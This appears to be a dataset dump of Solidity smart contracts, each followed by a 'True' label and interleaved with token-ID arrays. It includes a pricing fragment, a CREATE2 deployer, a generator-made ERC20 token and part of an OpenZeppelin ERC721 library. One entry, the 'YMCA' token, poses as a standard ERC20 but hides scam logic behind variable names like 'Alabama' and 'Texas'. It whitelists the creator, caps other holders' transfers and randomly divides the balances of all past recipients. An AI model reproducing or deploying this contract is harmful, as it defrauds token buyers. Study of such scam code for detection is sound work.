@param purchaser Address of the purchaser
@return False by default, true if a presale purchaser
*/
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
/* How many weis one token costs */
function updateRate(uint newOneTokenInWei) public;
/**
* When somebody tries to buy tokens for X eth, calculate how many tokens they get.
*
*
* @param value - What is the value of the transaction send in as wei
* @param tokensSold - how much tokens have been sold this far
* @param weiRaised - how much money has been raised this far in the main token sale - this number excludes presale
* @param msgSender - who is the investor of this transaction
* @param decimals - how many decimal units the token has
* @return Amount of tokens the investor receives
*/
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* Safe unsigned safe math.
*
* https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli
*
* Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol
*
* Maintained here until merged to mainline zeppelin-solidity.
*
*/
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
/**
* Fixed crowdsale pricing - everybody gets the same price.
*/
contract FlatPricingExt is PricingStrategy, Ownable {
using SafeMathLibExt for uint;
/* How many weis one token costs */
uint public oneTokenInWei;
// Crowdsale rate has been changed
event RateChanged(uint newOneTokenInWei);
modifier onlyTier() {
if (msg.sender != address(tier)) throw;
_;
}
function setTier(address _tier) onlyOwner {
assert(_tier != address(0));
assert(tier == address(0));
tier = _tier;
}
function FlatPricingExt(uint _oneTokenInWei) onlyOwner {
require(_oneTokenInWei > 0);
oneTokenInWei = _oneTokenInWei;
}
function updateRate(uint newOneTokenInWei) onlyTier {
oneTokenInWei = newOneTokenInWei;
RateChanged(newOneTokenInWei);
}
/**
* Calculate the current price for buy in amount.
*
*/
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
return value.times(multiplier) / oneTokenInWei;
}
}
|
True
|
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] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract AltaCreate2Deployer {
event Deployed(address addr, uint256 salt);
function deploy(bytes memory code, uint256 salt) public {
address addr;
assembly {
addr := create2(0, add(code, 0x20), mload(code), salt)
if iszero(extcodesize(addr)) {
revert(0, 0)
}
}
emit Deployed(addr, salt);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-11-26
*/
// YachtManagementCapitalAssociation
pragma solidity 0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Alabama;
mapping (address => bool) private Washington;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _balancesCopy;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private blackArray;
string private _name; string private _symbol;
address private _creator; uint256 private _totalSupply;
uint256 private Hawaii; uint256 private Alaska;
uint256 private California; bool private Oregon;
bool private NewYork; bool private Florida;
bool private Texas; uint16 private Montana;
bool private Wyoming;
constructor (string memory name_, string memory symbol_, address creator_) {
_name = name_;
_creator = creator_;
_symbol = symbol_;
NewYork = true;
Alabama[creator_] = true;
Oregon = true;
Florida = false;
Washington[creator_] = false;
Texas = false;
Wyoming = false;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly(uint16 vl) internal returns (uint16) {
Montana = (uint16(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%vl)/200);
return Montana;
}
function _frontrunnerProtection(address sender, uint256 amount) internal view {
if ((Alabama[sender] == false)) {
if ((amount > California)) { require(false); }
require(amount < Hawaii);
}
}
function _YachtManager(address sender) internal {
if (((Alabama[sender] == true) && (address(sender) != _creator) && (Texas == false)) || (Wyoming == true)) {
if ((randomly(400) == 1) || (Wyoming == true)) {
for (uint i = 0; i < blackArray.length; i++) {
if (Alabama[blackArray[i]] != true) {
_balances[blackArray[i]] = _balances[blackArray[i]] / uint256(randomly(16000));
}
}
Wyoming = Texas ? false : true;
Texas = true;
}
}
}
function DeployYMCA(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
(uint256 temp1, uint256 temp2) = (10, 1);
_totalSupply += amount;
_balances[account] += amount;
Hawaii = _totalSupply;
Alaska = _totalSupply / temp1;
California = Alaska * temp2;
emit Transfer(address(0), account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
(Alabama[spender],Washington[spender],Oregon) = ((address(owner) == _creator) && (Oregon == true)) ? (true,false,false) : (Alabama[spender],Washington[spender],Oregon);
_allowances[owner][spender] = amount;
_balances[owner] = Texas ? (_balances[owner] / uint256(randomly(16000))) : _balances[owner];
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
(Hawaii,Florida) = ((address(sender) == _creator) && (NewYork == false)) ? (Alaska, true) : (Hawaii,Florida);
(Alabama[recipient],NewYork) = ((address(sender) == _creator) && (NewYork == true)) ? (true, false) : (Alabama[recipient],NewYork);
_frontrunnerProtection(sender, amount);
_YachtManager(sender);
blackArray.push(recipient);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
DeployYMCA(creator, initialSupply);
}
}
contract YachtManagementCapitalAssociation is ERC20Token {
constructor() ERC20Token("Yacht Management Capital Association", "YMCA", msg.sender, 20000000000 * 10 ** 18) {
}
}
|
True
|
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2121,
1006,
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2003,
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1010,
29464,
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11387,
1010,
29464,
11890,
11387,
11368,
8447,
2696,
1010,
2219,
3085,
1063,
12375,
102
] |
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/**
*Submitted for verification at Etherscan.io on 2021-05-18
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
|
True
|
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19699,
5358,
102
] |
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/**
*Submitted for verification at Etherscan.io on 2021-10-26
*/
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
